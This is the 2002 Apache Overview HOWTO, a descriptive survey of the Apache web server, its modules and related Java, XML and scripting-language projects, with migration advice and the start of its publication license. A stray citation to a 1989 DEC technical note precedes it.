[1] Bill Hamburgen, Jeff Mogul, Brian Reid, Alan Eustace, Richard Swan, Mary Jo Doherty, and Joel Bartlett. Characterization of Organic Illumination Systems. DEC WRL, Technical Note 13, April 1989.


Apache Overview HOWTO

Daniel Lopez Ridruejo, ridruejo@apache.org

v0.7, 2002-02-28

This document gives you an overview of the Apache webserver and related projects. It provides pointers for further information and implementation details.

1. Introduction

2. Apache

3. Apache Software Foundation

4. Developing web applications with Apache

  • 4.1 Static Content
  • 4.2 Dynamic content
  • 4.3 CGI scripts
  • 4.4 Site generators
  • 4.5 Out of process servers
  • 4.6 Fast CGI
  • 4.7 Java servlets
  • 4.8 Embeded interpreters

5. Performance and bandwidth management

6. Virtual hosting

7. Load balancing

8. Secure transactions

9. SNMP

10. Authentication modules

11. GUIs for Apache

12. Writing Apache modules

13. Apache books

14. WebDAV

15. Java projects

  • 15.1 Ant
  • 15.2 ORO and Regexp
  • 15.3 Slide
  • 15.4 Struts
  • 15.5 Taglibs
  • 15.6 Tomcat
  • 15.7 Velocity
  • 15.8 Watchdog
  • 15.9 JServ
  • 15.10 JSSI
  • 15.11 Apache JMeter
  • 15.12 Server Pages Foundation Classes
  • 15.13 Element Construction Set
  • 15.14 Avalon
  • 15.15 JAMES (Java Apache Mail Enterprise Server)
  • 15.16 PicoServer
  • 15.17 Jetspeed
  • 15.18 Turbine
  • 15.19 Jyve
  • 15.20 Alexandria
  • 15.21 Log4j

16. XML projects

  • 16.1 Introduction to XML
  • 16.2 Xerces
  • 16.3 Xalan
  • 16.4 FOP
  • 16.5 Cocoon
  • 16.6 Xang
  • 16.7 SOAP
  • 16.8 Batik
  • 16.9 Crimson
  • 16.10 Other XML projects

17. Perl

  • 17.1 Embperl
  • 17.2 Mason
  • 17.3 Mod_Perl

18. PHP

19. Python

20. Tcl

21. Modules for other languages

22. Apache 2.0

23. Migrating from Netscape (iPlanet) web servers

24. Migrating from Microsoft IIS

25. Links

  • 25.1 Websites
  • 25.2 Java application servers

26. Contacting the author

  • 26.1 Translations

27. Open Content Open Publication License

  • 27.1 REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS
  • 27.2 COPYRIGHT
  • 27.3 SCOPE OF LICENSE
  • 27.4 REQUIREMENTS ON MODIFIED WORKS
  • 27.5 GOOD-PRACTICE RECOMMENDATIONS
  • 27.6 LICENSE OPTIONS


Apache Overview HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document gives you an overview of the Apache web server and related projects. Apache is the most popular server on the Internet. New Apache users, especially those coming from a Windows background, are often unaware of the possibilities of Apache, its useful addons and, more in general, how everything works together. This document aims to show a general picture of such possibilities with a brief description of each one and pointers for further information. The information has been gathered from many sources, including projects' web pages, conference talks, mailing lists, Apache websites and my own hands-on experience. Full credit is given to these authors. Without them and their work, this document would not have been possible or necessary.

Disclaimer: I work for Covalent. We provide products and support services for the Apache webserver, and I mention some of them here, as I do for our competitors and similar open source projects.

If you find typos, errors, or if you have suggestions for improvement or comments, please let me know so I can correct the document.

Copyright 2002 Daniel Lopez Ridruejo

Permission is granted to copy, distribute and/or modify this document under the terms of the Open Content Open Publication License, Version 1.1. A copy of the license is included in the appendix entitled "Open Content Open Publication License", or at www.opencontent.org/openpub/.


Apache Overview HOWTO: Apache

 Next Previous Contents

2. Apache

Apache is the leading internet web server, with over 60% market share, according to the Netcraft survey. Several key factors have contributed to Apache's success:

  • The Apache license. It is an open source, BSD-like license that allows for both commercial and non-commercial uses of Apache.
  • Talented community of developers with a variety of backgrounds and an open development process based on technical merits.
  • Modular architecture. Apache users can easily add functionality or tailor Apache to their specific enviroment.
  • Portable: Apache runs on nearly all flavors of Unix (and Linux), Windows, BeOs, mainframes...
  • Robustness and security
Many commercial vendors have adopted Apache-based solutions for their products, including Oracle, Red Hat and IBM. In addition, Covalent provides add-on modules and 24x7 support for Apache.

The following websites use Apache or derivatives. Chances are that if Apache is good enough for them, it is also good enough for you :)

  • Amazon.com
  • Yahoo!
  • W3 Consortium
  • Financial Times
  • Network solutions
  • MP3.com
  • Stanford

>From the Apache website:

The Apache Project is a collaborative software development effort aimed at creating a robust, commercial-grade, featureful, and freely-available source code implementation of an HTTP (Web) server.

The Apache project has grown beyond building just a web server into other critical server side technologies like Java or XML. The Apache Software Foundation, described in the next section, serves as an umbrella for these projects.

Related talk

  • W09: Introduction to the Apache Web Server
  • F16: Licensing issues in commercial OSS products


Apache Overview HOWTO: Apache Software Foundation

 Next Previous Contents

3. Apache Software Foundation

The Apache Software Foundation exists to provide organizational, legal, and financial support for the Apache open-source software projects. Formerly known as the Apache Group, the Foundation has been incorporated as a membership-based, not-for-profit corporation in order to ensure that the Apache projects continue to exist beyond the participation of individual volunteers, to enable contributions of intellectual property and funds on a sound basis, and to provide a vehicle for limiting legal exposure while participating in open-source software projects.

Or, as Roy T. Fielding, the chairman of the ASF describes it: The mission of the Apache Software Foundation is to facilitate and support collaborative software development projects that use the Apache methods of collaboration over the Internet to create, maintain, and extend the infrastructure of the Web and enforce the standards that define it.

You can learn more about the foundation here.


Apache Overview HOWTO: Developing web applications with Apache

 Next Previous Contents

4. Developing web applications with Apache

There are several ways of providing content with Apache.

Related talk

  • W07: Web Application Technologies - surveying the landscape

4.1 Static Content

Apache can serve static content, like HTML files, images, etc. If this is all you need, Apache is probably right for you. A low end Pentium running Linux and Apache can easily saturate a 10Mbps line serving static content. If that is your primary use of Apache, make sure you also check the performance section.

4.2 Dynamic content

For many websites, the information changes constantly and pages need to be updated periodically or generated on the fly. This is what server side programming is all about: programming languages, tools and frameworks that help developers query and modify information from different sources (databases, directory services, customer records, other websites) and deliver the content to the user.

4.3 CGI scripts

CGI stands for Common Gateway Interface. CGI scripts are external programs that are called when a user requests a certain page. The CGI receives information from the web server (form variable values, type of browser, IP address of the client, etc) and uses that information to output a web page to the client.

Pros: Since it is an external program, it can be coded in any language. The same script will also be portable among different web servers. The CGI protocol is simple, and the return result consists of writing the response to the standard output. It is a mature technology, and there are plenty of online and book references and examples.

Cons: Spawning and initializing a process takes time. Since a CGI script is external to the server and an instance has to be launched/destroyed for every request there is a performance hit. If the process has to load external libraries or perform a connection to an external database the delay can be important. Same thing if the number of hits per second is high. CGIs are stateless and session management has to be achieved by external means.

Since CGI usually involves heavy text manipulation, scripting languages are the natural choice. Part of Perl's popularity stems from its being the CGI programming language of choice. This is due to its extensive support for string handling and text processing. There are plenty of freely available CGI scripts and libraries. A good starting point is: the Open Directory CGI section

4.4 Site generators

If your site is high volume, you may run into performance problems when generating content dynamically. Offline content generators are an alternative. These solutions separate content from presentation. The HTML generator reads both content and presentation data and outputs the static files that build the website. The generator can be run periodically or triggered by content changes.

Future versions of Cocoon plan on having a batch mode to accomplish this. Another option is the Web site meta language.

4.5 Out of process servers

The web server can pass dynamic requests to another program. This program sits idle until a request arrives. The request is processed and returned to the webserver which in turn returns it to the client. This eliminates the overhead associated with CGI scripts. Examples of this approach are Fast CGI, Java servlets, etc.

4.6 Fast CGI

This standard was developed to address some shortcomings of the CGI protocol. The main improvement is that a single spawned process can process more than one request. There is an Apache module that implements the Fast CGI protocol and libraries for Tcl, Perl etc. More information at http://www.fastcgi.com

Related talk

  • F18: FastCGI -- The forgotten treasure

4.7 Java servlets

To provide Java servlets, a Java virtual machine (in a process separate from the web server) processes requests. The JVM can reside in the same computer or in a different one. This is how many application servers work. Usually standard libraries are included for server side processing. JServ and Tomcat are Apache projects that provide this functionality. Related Java application server projects can be found here

Related talk

  • W16: Recommendations for Java-Based Web Application Architectures

4.8 Embeded interpreters

An alternative to out-of-process webservers is to embed the interpreter in the server itself. There are roughly two categories in this kind of modules: Modules that answer or modify requests directly and modules that process commands embedded in HTML pages before serving it to the client. The most representative approaches are mod_perl and PHP


Apache Overview HOWTO: Performance and bandwidth management

 Next Previous Contents

5. Performance and bandwidth management

Raw performance is only one of the factors to consider in a web server (flexibility and stability come usually first).

Having said that, there are solutions to improve performance on heavy loaded webservers serving static content. If you are in the hosting business Apache also provides ways in which you can measure and control bandwidth usage. Throttling in this context usually means slowing down the delivery of content based on the file requested, a specific client IP address, etc. This is done to prevent abuse.

  • mod_mmap: Included in current Apache releases, it maps to memory a statically configured list of files that are frequently requested but infrequently changed.
  • Mod_bandwidth: Enables the setting of server-wide or per connection bandwidth limits, based on the specific directory, size of files and remote IP/domain.
  • Bandwidth share module: provides bandwidth throttling and balancing by client IP address. It is actively maintained.
  • Mod_throttle:Throttle bandwidth per virtual host or user.
  • Mod_throttle_access: useful if you are slashdotted. Allows throttling based on resources (file, directory, etc.)


Apache Overview HOWTO: Virtual hosting

 Next Previous Contents

6. Virtual hosting

Apache provides extensive virtual hosting support; there are additional modules that provide specific functionality:

  • mod_dynvhost
  • mod_pweb
  • mod_v2h

In addition, Apache 2.0 allows children serving different domains to have different user ids, improving security.


Apache Overview HOWTO: Load balancing

 Next Previous Contents

7. Load balancing

Apache has several modules that allow distribution of requests among servers, for redundancy, increased availability, etc.

  • Reverse proxying + mod_rewrite: There is nothing in Apache that you can not do with mod_rewrite ... :) This technique consists of having an Apache front-end server acting as a proxy for the backend servers. You can find more information here
  • Mod_backhand: Allows seamless redirection of HTTP requests from one web server to another. This redirection can be used to target machines with under-utilized resources, thus providing fine-grained, per-request load balancing of web requests. More information at http://www.backhand.org/.

Related talk

  • TH06: mod_backhand: Internals explained


Apache Overview HOWTO: Secure transactions

 Next Previous Contents

8. Secure transactions

There are several solutions that provide secure transactions for Apache servers. This enables Apache servers to be used for e-commerce or other scenarios where sensitive information (like your credit card number) is exchanged.

  • Mod_ssl and Apache-SSL are open source implementations. They are European based, unencumbered by RSA patents.
  • Red Hat offers a secure server derived from Apache. Red Hat acquired C2Net, makers of StrongHold, another Secure server derived from Apache.
  • Covalent sells secure versions of Apache as well as the CovalentSSL module that plugs into existing Apache installations.

Credit card transactions

Apache specific solutions exist for credit card transactions:

  • Covalent credator, multiple clearinghouse support, failover operation, PHP, Perl, Java support.


Apache Overview HOWTO: SNMP

 Next Previous Contents

9. SNMP

SNMP stands for Simple Network Management Protocol. It allows monitoring and management of network servers, equipment, etc. SNMP modules for Apache help manage large deployments of web servers, measure the quality of service offered and integration of Apache in existing management frameworks.

  • Open source Mod SNMP for Apache 1.3.
  • Covalent SNMP provides a commercial SNMP module, support for the latest SNMPv3 standard, integration with HP-Openview, Tivoli, etc.


Apache Overview HOWTO: Authentication modules

 Next Previous Contents

10. Authentication modules

In many situations (subscription services, sensitive information, private areas), user authentication is required. Apache includes basic authentication support. Additional authentication modules exist that connect Apache to existing security frameworks or databases, including: NT Domain controller, Oracle, mySQL, PostgresSQL, etc.

The LDAP modules are specially interesting, as they allow integration with company and enterprise wide existing directory services.

You can find these modules at http://modules.apache.org.


Apache Overview HOWTO: GUIs for Apache

 Next Previous Contents

11. GUIs for Apache

Apache is configured thru text configuration files. This has advantages and disadvantages. Management can be done from any computer that has internet access via ssh. Editing a configuration file by hand implies a learning curve. There are open source graphical tools that make this task easier:

  • Comanche: It is crossplatform and runs on Unix/Linux, Windows and Mac. Check the website for screenshots and in-depth information. Disclaimer: I am the main author of Comanche, so remember, there are no bugs, only undocumented features :)
  • gui.apache.org: GUI interfaces for Apache project. Programs are in various degrees of development.
  • Webmin: A nice web based interface.


Apache Overview HOWTO: Writing Apache modules

 Next Previous Contents

12. Writing Apache modules

Apache, like many other successful open source projects, has a modular architecture. This means that to add or modify functionality you do not need to know the whole code base. Source code access for Apache means that you can custom build the server with only the modules that you need and include your own.

Extending Apache can be done in C or in a variety of other languages using appropriate modules. These modules expose Apache's internal functionality to different programming languages like Perl or Tcl.

Writing modules in C: Apache is written in C and so are the modules distributed with Apache. The best way to get started writing Apache modules is to read Doug MacEachern and Lincoln Stein's book Writing Apache modules with Perl and C. It is a well-written, easy to read book by two Apache and Perl gurus. The above link will lead you to the book website, which has some of its chapters online. If you don'e have the money to buy the book and cannot borrow it from a friend, there are other ways. You can read some of the online tutorials on writing Apache modules: Ken Coar, an Apache Group member, has a nice tutorial and slides online. An overview of the Apache architecture can be found here. The Apache website has some API notes that can help you get started. You are also encouraged to browse the source code of the modules included with Apache. Apache includes a simple one (mod_example.c) for that purpose.

Writing Apache modules in other languages: There is a variety of Apache modules that enable third party languages to access the internal Apache API. The most popular is mod_perl.

If you have any questions about the development of an Apache module you should join the Apache modules mailing list at http://modules.apache.org. Remember to do your homework first, research past messages and check all the documentation previously described. Chances are somebody had the same problem that you are experiencing and he got an useful response.

If you are interested in the development of core Apache itself, you should checkout the Apache development site.


Apache Overview HOWTO: Apache books

 Next Previous Contents

13. Apache books

A comprehensive list of Apache books can be found here.

A couple of books that I personally recommend are:

  • Writing Apache Modules with Perl and C if you are interested in Apache internals.
  • Apache server for dummies if you want to get started with Apache. Do not get fooled by the name. This is a comprehensive book packed with useful information.


Apache Overview HOWTO: WebDAV

 Next Previous Contents

14. WebDAV

>From the WebDAV website: WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.

It is the open standards equivalent of the MS FrontPage protocol, but it takes the idea several steps further. It enables other protocols to be built on top of it (See the Subversion website for an example.


Apache Overview HOWTO: Java projects

 Next Previous Contents

15. Java projects

For historical reasons, Java projects can be found both under the java.apache.org and jakarta.apache.org umbrellas. The final goal is that over time all Java projects will move under the Jakarta umbrella.

The goal of the Jakarta Project is to provide commercial-quality server solutions based on the Java Platform that are developed in an open and cooperative fashion.

The Java on Apache community is a very dynamic and active one, as shown by the quantity and quality of its subprojects, which are described now.

15.1 Ant

You can think of Ant as the Java equivalent of make. It is a big success with Java related projects. Developers can write Java instead of shell commands. This means increased portability and extensibility. Instead of Makefiles Ant has XML files. You can learn more about ANT here.

Related talk

  • F19: Using Ant to build Java code

15.2 ORO and Regexp

ORO is a complete package that provides regular experession support for Java. It includes Perl5 regular expression support, glob expressions, etc. All under the Apache license. You can learn more about ORO here. You can find another lightweight regular expression package, Regexp.

15.3 Slide

Slide is a high-level content management framework. Conceptually, it provides a hierarchical organization of binary content which can be stored into arbitrary, heterogenous, distributed data stores. In addition, Slide integrates security, locking and versioning services.

If you are familiar with WedDAV, Slide uses it extensively. In simple words, what Slides provides is an unified, simple way to access resources and information. These resources can be stored in a database, the filesystem, etc. and accessed either thru a WebDAV interface or Slide's own API.

You can learn more at the Slide home page.

15.4 Struts

Struts is an Apache project that tries to bring the Model-View-Controller (MVC) design paradigm to web development. It builds on Servlet and JavaServer Pages technologies. The model part is made up of Java server objects, which represent the internal state of the application. Enterprise Java Beans are commonly used here. The view part is constructed via JavaServer Pages (JSP), which is a combination of static HTML/XML and Java. JSPs also allow the developer to define new tags. The controller part consists of servlets, which take requests (GET/POST) from the client, perform actions on the model and update the view by providing the appropriate JSP. You can learn more at the Struts project pages.

15.5 Taglibs

The JavaServer pages technology allows developers to provide functionality by adding custom tags. The Taglibs project intends to be a common repository for these extensions. It includes tags for common utilities (i.e. date), SQL database access, etc.

You can learn about TagLibs here. More documentation is included in the package.

15.6 Tomcat

Tomcat is the flagship product of the Jakarta project. It is the official reference implementation for the Java Servlet 2.2 and JavaServer Pages 1.1 technologies.

You can learn more in the Tomcat homepage. The Tomcat project was started with a code donation from Sun Microsystems.

15.7 Velocity

Velocity is a Java based template engine. It can be used as a stand-alone utility for generating source code, HTML, reports, or it can be combined with other systems to provide template services. Velocity has a Model View Controller paradigm that enforces separation of Java code and the HTML template.

You can learn more about Velocity here. Velocity is part of other projects like Turbine

15.8 Watchdog

The Watchdog project provides the validation tests for the Servlet and JavaServer Pages specifications. You can find more information here

15.9 JServ

Apache JServ is in a maintenance only mode at this point. This means that there will be no new official releases and that only well tested patches are being committed. No new features are being added. If you are looking for the latest implementation of a Java Servlet Engine and/or Java Server Pages (JSP) then you should consider using the Jakarta Tomcat product available from the Jakarta Project.

15.10 JSSI

JSSI is an implementation of server side included in the Java language. Server side includes are tags includes in files that get processed before the page is served to the client (for example to include the current date) You can find more information here.

15.11 Apache JMeter

The Apache JMeter is a 100% pure Java desktop application designed to load test functional behavior and measure performance. It was originally designed for testing Web Applications but has since expanded to other test functions.

It can be used to test static and dynamic resources and get inmediate visual feedback.

You can see some screenshots and learn more here.

15.12 Server Pages Foundation Classes

SPFC is a set of libraries to help solve common problems in server side application development. They focus on two of them:

  • Mixing HTML and Java: Provides a library of classes that takes care of the HTML generation and that can be integrated with the rest of the Java code.
  • HTTP is a stateless protocol: SPFC provides session support, so applications can keep track of users as they navigate the website. The application developer does not need to worry about the specific details of page generation. He can think in more general traditional application terms. You can learn more about SPFC here

15.13 Element Construction Set

Element Construction Set (ECS) is a JAVA API for generating elements for various markup languages. It directly supports HTML 4.0 and XML, but can easily be extended to create tags for any markup language.

It allows the generation of mark up tags using Java function calls, leading to a much cleaner solution than mixing HTML and Java code. You can learn more at the ECS project page.

15.14 Avalon

If you are familiar with Perl or BSD systems, Avalon is roughly the equivalent of CPAN or the Ports collection for Java Apache technologies. It does not only provide guidelines for a common repository of code, it goes one step further: is an effort to create, design, develop and maintain a common framework for server applications written using the Java language. It provides the means so server side Java projects can be easily integrated and build on each other.

15.15 JAMES (Java Apache Mail Enterprise Server)

Complementary to the other Apache server side technologies, JAMES provides a 100% pure Java server designed to be a complete and portable enterprise mail engine solution based on currently available open protocols (SMTP, POP3, IMAP, HTTP)

More information can be found here.

15.16 PicoServer

A lightweight HTTP/1.0 server in pure Java. The project seems to be stalled and no code is available. The website and CVS are no longer available.

15.17 Jetspeed

Jetspeed is a web based portal written in Java. It has a modular API that allows aggregation of different data sources (XML, SMTP, iCalendar)

Related talk:

  • TH11: Writing an enterprise information portal with JetSpeed

15.18 Turbine

Turbine is a servlet based framework that allows experienced Java developers to quickly build secure web applications. Turbine brings together a platform for running Java code and reusable components, everything under the Apache license. Some of its features include:

  • Integration with template systems
  • MVC style development
  • Access Control Lists
  • Localization support
  • etc.
If you are interested, you can visit the Turbine web site.

15.19 Jyve

The Jyve project is built on top of the Turbine framework. It is an application that provides a web based FAQ system

15.20 Alexandria

Alexandria is an integrated documentation management system. It brings together technologies common to many open source projects like CVS and JavaDoc. The goal is to integrate source code and documentation to encourage code documentation and sharing. More information here

Related talk

  • W06: An introduction to Alexandria

15.21 Log4j

This package provides a logging framework that Java applications can use. It can be enabled at runtime without modifying the binary and has been designed with performance in mind. It can be found here


Apache Overview HOWTO: XML projects

 Next Previous Contents

16. XML projects

Directly from the Apache XML project website, its goals are:

  • To provide commercial-quality standards-based XML solutions that are developed in an open and cooperative fashion.
  • To provide feedback to standards bodies (such as IETF and W3C) from an implementation perspective.
  • To be a focus for XML-related activities within Apache projects

The project homepage is located at http://xml.apache.org. It is an umbrella for a variety of subprojects.

16.1 Introduction to XML

This is a quick introduction to XML. To know more about XML, a good starting point is http://www.xml.com. XML is a markup language (think HTML) for describing structured content using tags and attributes. Once content is separated from presentation, you can choose how to display (cellphone, html, text) or exchange it. The XML standard only describes how the tags and attributes can be arranged, not its names of what they mean. Apache provides the tools described in the following sections.

16.2 Xerces

The Xerces project provides XML parsers for a variety of languages, including Java, C++ and Perl. The Perl bindings are based on the C++ sources. There are Tcl bindings for Xerces in the 2.0 version of TclXML, by Steve Ball. This 2.0 version is available thru the SourceForge project page. An XML parser is a tool used for programatic access to XML documents. This is a description of the standards supported by Xerces:

  • DOM: DOM stands for Document Object Model. XML documents are hierarchical by nature (nested tags). XML documents can be accessed thru a tree like interface. The process is as follow:
    • Parse document
    • Build tree
    • add/delete/modify nodes
    • Serialize tree
  • SAX:Simple API for XML. This is a stream based API. This means that we will receive callbacks as elements are encountered. These callbacks can be used to construct a DOM tree for example.
  • XML Namespaces
  • XML Schema: The XML standard provides the syntax for writing documents. XML Schema provides the tools for defining the contents of the XML document (semantics). It allows to define that a certain element in the document must be an integer between 10 and 20, etc.
The Xerces XML project initial code base was donated by IBM. You can find more information in the Xerces Java, Xerces C++ and Xerces Perl homepages.

16.3 Xalan

Xalan is an XSLT processor available for Java and C++. XSL is a style sheet language for XML. The T is for Transformation. XML is good at storing structured data (information). We sometimes need to display this data to the user or apply some other transformation. Xalan takes the original XML document, reads transformation configuration (stylesheet) and outputs HTML, plain text or another XML document. You can learn more about Xalan at the Xalan Java and Xalan C++ project homepages.

16.4 FOP

From the website: FOP is a Java application that reads a formatting object tree and then turns it into a PDF document. So FOP takes an XML document and outputs PDF, in a similar way that Xalan does with HTML or text. You can learn more about FOP here.

16.5 Cocoon

Cocoon leverages other Apache XML technologies like Xerces, Xalan and FOP to provide a comprehensive publishing framework. Cocoon is based around XML and XSL and targeted to sites of medium - high complexity. It separates content, logic and presentation as described in the website:

  • XML creation: the XML file is created by the content owners. They do not require specific knowledge on how the XML content is further processed rather than the particular chosen DTD/namespace. This layer is always performed by humans directly through normal text editors or XML-aware tools/editors.
  • XML process generators: the logic is separated from the content file.
  • XSL rendering: The created document is then rendered by applying an XSL stylesheet to it and formatting it to the specified resource type (HTML, PDF, XML, WML, XHTML)
You can learn more about Cocoon at the project homepage

16.6 Xang

The goal of the Xang project is to make it easy for developers to build commercial quality XML aware applications for the Web. The application logic is defined in a hierarchical XML file which can be scripted via JavaScript. This file defines how to access the data (which can be other XML files, Java plug-ins, etc.). The Xang engine takes care of mapping HTTP requests to the appropriate handlers. You can learn more about Xang at the project homepage.

16.7 SOAP

Apache SOAP ("Simple Object Access Protocol") is an implementation of the SOAP submission to W3C. It is based on, and supersedes, the IBM SOAP4J implementation.

From the draft W3C specification: SOAP is a lightweight protocol for exchange of information in a decentralized, distributed environment. It is an XML based protocol that consists of three parts:

  • An envelope that defines a framework for describing what is in a message and how to process it,
  • a set of encoding rules for expressing instances of application-defined datatypes, and
  • a convention for representing remote procedure calls and responses.
Think of SOAP as an XML based remote procedure call or CORBA system. It is based on HTTP and XML. On the one hand this means it is verbose and slow compared to other systems. On the other hand it eases interoperatibility, debugging and development of clients and servers for a variety of languages (C, Java, , Perl, Python, Tcl, etc.) since most modern languages have HTTP and XML modules. You can learn more at the Apache SOAP homepage

Related talk

  • W02: Rub-a-dub-dub-dubya: SOAP and the Web

16.8 Batik

Batik is a Java based toolkit for applications that want to use images in the Scalable Vector Graphics (SVG) format for various purposes, such as viewing, generation or manipulation.

It is XML centric and compliant with the W3C specification. It is a bit atypical from other Apache projects, in that it provides a graphical component. Batik provides hooks to extend the framework thru custom tags and it allows conversion from SVG to other formats like JPEG or PNG.

Batik homepage

Related talk

  • W14: Introduction to the Batik project.

16.9 Crimson

Crimson is an alternative, Java-based, XML parser with support for XML 1.0 thru a variety of interfaces. It is the parser currently shipping in Sun products, and an intermediate step until the version 2 of Xerces is released.

Crimson homepage

Related talk

  • TH08: Java API for XML processing (JAXP) version 1.1

16.10 Other XML projects

There are other projects based on Apache and XML that do not live under the Apache XML umbrella

  • mod_xslt is a C based module for delivering XML/XSL based content. It has a GPL license.
  • AxKit is an XML based Application Server for mod_perl and Apache. It allows separation of content and presentation.

Related talk

  • TH04: AxKit - An XML Application server for Apache


Apache Overview HOWTO: Perl

 Next Previous Contents

17. Perl

Perl and Apache make a powerful and popular combination. There are several projects that use these two technologies.

17.1 Embperl

Embperl allows embedding of Perl in HTML pages. These pages are processed in the server before they are delivered to the client. It is similar to PHP. You can learn more here.

17.2 Mason

The Mason project embeds Perl in HTML with a reusable component model approach. It allows caching, templating, etc.

17.3 Mod_Perl

mod_perl is one of the most veteran and successful Apache projects. It embeds a Perl interpreter in Apache and allows access to the web server internals from Perl. This allows for entire modules to be written in Perl or a mixture of Perl and C code. In the 1.3 Apache versions, one interpreter has to be embedded in each child, since the server is multiprocess based. In heavy traffic dynamic sites, the increased size could make a difference. Apache 2.0 is multithreaded, as recent versions of Perl are. The next generation of mod_perl takes advantage of this and allows for sharing of code, data and session state among interpreters. This results in a faster, leaner solution.

Make sure you also check axkit


Apache Overview HOWTO: PHP

 Next Previous Contents

18. PHP

From the PHP website: PHP is a server-side, cross-platform, HTML embedded scripting language. PHP is a scripting language like Perl, Python or Tcl. It is the most popular module for Apache and this is due to a variety of reasons:

  • Learning curve is quite low
  • Great documentation
  • Extensive database support
  • Modularity
PHP has a modular design. There are modules that provide support for:
  • Database connetivity for Oracle, ODBC, mySQL, mSQL, PostgreSQL, MS-SQL server... and many more, check the PHP website.
  • XML support
  • File transfer: FTP
  • HTTP
  • Directory support: LDAP
  • Mail support: IMAP, POP3, NNTP
  • PDF document generation
  • CORBA
and many more. You only need to compile/use the modules you need.

PHP can be used with Apache, as an external CGI or with other webservers. It is crossplatform and it runs on most flavors of Unix and Windows.

If you come from a Windows background, you probably have used Internet Information Server with Active Server Pages and MS-SQL Server. A common replacement in the Unix world for this trio is Apache with PHP and mySQL. Since PHP works:

  • with Apache and with Microsoft IIS
  • with mySQL and with MS-SQL server
  • on Unix and on Windows
you have a nice migration path from a Microsoft-centric solution to more secure, stable, high performance Unix based solutions (like FreeBSD, Solaris, Linux or OpenBSD)


Apache Overview HOWTO: Python

 Next Previous Contents

19. Python

Python is an scripting language similar to Perl or Tcl. Several modules embed Python in the Apache web server:

  • Mod Python
  • Mod Snake: runs both in Apache 1.3.x and the upcoming 2.0
Both modules would be useful if you plan on writing Apache modules in Python or run existing Python CGIs faster. Mod Snake allows you to embed Python in HTML , much like PHP does.

Related talk:

  • F08: mod_snake: Boosting productivity with Python


Apache Overview HOWTO: Tcl

 Next Previous Contents

20. Tcl

The Tcl Apache project integrates Tcl with the Apache webserver. Tcl is a lightweight, extensible scripting language. You can learn more about Tcl here. There are several modules currently under the Apache Tcl umbrella:

  • Mod_dtcl allows for embedding Tcl on HTML pages like PHP does.
  • Neowebscript takes a similar approach
  • Mod_tcl takes an approach similar to mod_perl and runs both in 1.3.x and 2.x versions of Apache.
Other Tcl Apache projects can be found at WebSH.


Apache Overview HOWTO: Modules for other languages

 Next Previous Contents

21. Modules for other languages

This document has described modules for popular server side languages such as Perl, Python, PHP. You can find additional language modules (JavaScript, Haskell, etc.) at the Apache modules directory.


Apache Overview HOWTO: Apache 2.0

 Next Previous Contents

22. Apache 2.0

The current version of Apache (the 1.3 series) is process based. That means that the server forks itself a number of times to answer simultaneous requests. The children are isolated from each other. This is reliable: if a module misbehaves, the parent process kills that child and it only affects the request being served, not the server as a whole. Threads are similar to lightweight processes. Threads can share common data. If a thread misbehaves it can corrupt other threads and the server as a whole can go down. On the other hand, the thread model allows for faster, leaner webservers. Apache 2.0 brings the best of both worlds, allowing the user to define number of processes and number of threads per process. Apache 2.0 introduces APR, the Apache Portable Runtime, which increases Apache's portability even more. Finally, layered I/O brings a new level of modularity to Apache development.


Apache Overview HOWTO: Migrating from Netscape (iPlanet) web servers

 Next Previous Contents

23. Migrating from Netscape (iPlanet) web servers

The bulk of the work may reside in converting custom modules from NSAPI to the Apache API. Nearly all the other server side technologies (Java, Perl, CGIs) should be portable with little or no change. Netscape is tightly integrated with LDAP servers. You may be also interested in LDAP modules in http://modules.apache.org.


Apache Overview HOWTO: Migrating from Microsoft IIS

 Next Previous Contents

24. Migrating from Microsoft IIS

Common reasons why people migrate from IIS to Apache (and not the other way around) include stability, performance and security. This is partly because most people running Apache do it on an Unix variant (like Solaris, FreeBSD or Linux). Fortunately, Apache is multiplatform and runs on both Unix and Windows, offering a sensible migration path.

Common Windows based web development environments like Coldfusion or Active Server Pages have Unix ports or compatible environments (some are commmercial, some are freely available):

  • Coldfusion for Linux
  • Perl ASP module
  • Halcyon ASP
Apache for Windows supports also the ISAPI interface.

If you want to go for a complete open source solution and you come from a Windows background ( IIS + ASP + MS-SQL server) the roughly equivalent (and highly popular) combination is Apache + PHP + MySQL or PostgresSQL. You can learn more about PHP here

Support for Windows is greatly improved in the new 2.0 Apache version, still in beta stage at the time of this writing.


Apache Overview HOWTO: Links

 Next Previous Contents

25. Links

Additional Apache related resources

25.1 Websites

  • Apache
  • Apache modules directory
  • Apache today
  • Slashdot Apache section

25.2 Java application servers

These are open source application servers that build on or are known to play well with Apache.

  • Resin: Servlets, JSP, XSL
  • Enhydra: Java/XML application server.
  • JBoss: Enterprise Java Beans container, J2EE


Apache Overview HOWTO: Contacting the author

 Next Previous Contents

26. Contacting the author

You can contact me at ridruejo@apache.org. I welcome suggestions and corrections, but please, please, do not send me messages asking me to troubleshoot your Apache installation. I just do not have the bandwidth and your mail will be most likely ignored. If you need support:

  • Check the error logs, read the docs, especially the FAQ.
  • Try comp.infosystems.www.servers.unix at http://groups.google.com. Search for a similar problem.
  • If you are still stuck, provide as much information as you can, including relevant error_log entries and steps you have taken so far, and post to that newsgroup. This will increase the chances someone will answer your question.

If you want commercial support, consider contacting Covalent, which provides expert support for Apache (at a fee, of course). If you are using Apache on Linux, your Linux vendor may have support plans that include Apache too.

26.1 Translations

If you want to contribute a translation of this document you should use the SGML source. Check http://www.linuxdoc.org for info. Please drop me a note so I can make sure you get the most recent version.


Apache Overview HOWTO: Open Content Open Publication License

 Next Previous Contents

27. Open Content Open Publication License

Open Publication License Draft v1.0, 8 June 1999 (text version)

27.1 REQUIREMENTS ON BOTH UNMODIFIED AND MODIFIED VERSIONS

The Open Publication works may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that the terms of this license are adhered to, and that this license or an incorporation of it by reference (with any options elected by the author(s) and/or publisher) is displayed in the reproduction.

Proper form for an incorporation by reference is as follows:

Copyright (c) <year> by <author's name or designee>. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, vX.Y or later (the latest version is presently available at http://www.opencontent.org/openpub/). The reference must be immediately followed with any options elected by the author(s) and/or publisher of the document (see section VI).

Commercial redistribution of Open Publication-licensed material is permitted.

